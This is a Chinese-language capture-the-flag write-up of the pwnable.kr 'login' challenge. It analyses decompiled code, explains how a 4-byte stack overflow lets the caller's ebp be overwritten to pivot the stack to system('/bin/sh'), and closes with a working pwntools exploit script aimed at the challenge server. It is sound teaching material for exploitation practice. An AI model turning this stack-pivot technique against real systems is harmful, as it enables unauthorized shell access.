题目信息
题目给出的信息如下:
分析
下载得到 login 文件,这是一个静态链接的可执行文件。拖进 IDA 分析,main
函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [esp+18h] [ebp-28h]
char s; // [esp+1Eh] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-4h]
memset(&s, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)&s, &v4);
if ( v6 > 0xC )
{
puts((int)"Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) == 1 )
correct();
}
return 0;
}
这里没有发现可以利用的漏洞,大概的流程是叫我们输入一个 base64 加密后的字符串,但是对长度进行了检查,解密后的长度不可以超过 12。继续分析 auth
函数如下:
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
这里将 input
存放的解密后的字符串复制到了 v4
中,但是 input
的长度最大可以达到 12,而 v4
的长度仅仅为 8,存在栈溢出漏洞。这里溢出的 4 个字节将会覆盖函数 auth
的栈帧中保存的 ebp
,这是函数 auth
的调用函数 main
函数的 ebp
。也就是说,我们可以通过这里的栈溢出控制 main
函数的 ebp
寄存器的值。回到 main
函数,继续分析 correct
函数如下:
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
{
puts((int)"Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}
可以看到在 correct
函数里面直接调用了 system("/bin/sh")
,如果能够控制 eip
直接跳转至这里,那么便可成功解题了。
解题思路
在 auth
函数以及 main
函数的返回处存在着两条相同的指令:
leave
ret
其中 leave
等价于:
mov esp, ebp
pop ebp
ret
等价于:
pop eip
所以实质上在 auth
以及 main
函数的返回处都是相同的三条指令:
mov esp, ebp
pop ebp
pop eip
首先通过栈溢出控制函数 auth
的栈帧中保存的 ebp
,接着在其返回处通过 pop ebp
控制 main
函数的 ebp
寄存器的值,然后在 main
函数的返回处通过 mov esp, ebp
控制 esp
的值,进而通过 pop eip
控制 eip
的值,最终跳转至 system("/bin/sh")
。
wirteup
from pwn import *
context(os='linux', arch='i386', log_level='info')
p = remote('pwnable.kr', 9003)
call_system_addr = 0x8049284
ctrl_main_ebp = 0x811eb40
payload = 0x4 * 'a' + p32(call_system_addr) + p32(ctrl_main_ebp)
payload = b64e(payload)
p.recvuntil(' : ')
p.sendline(payload)
p.interactive()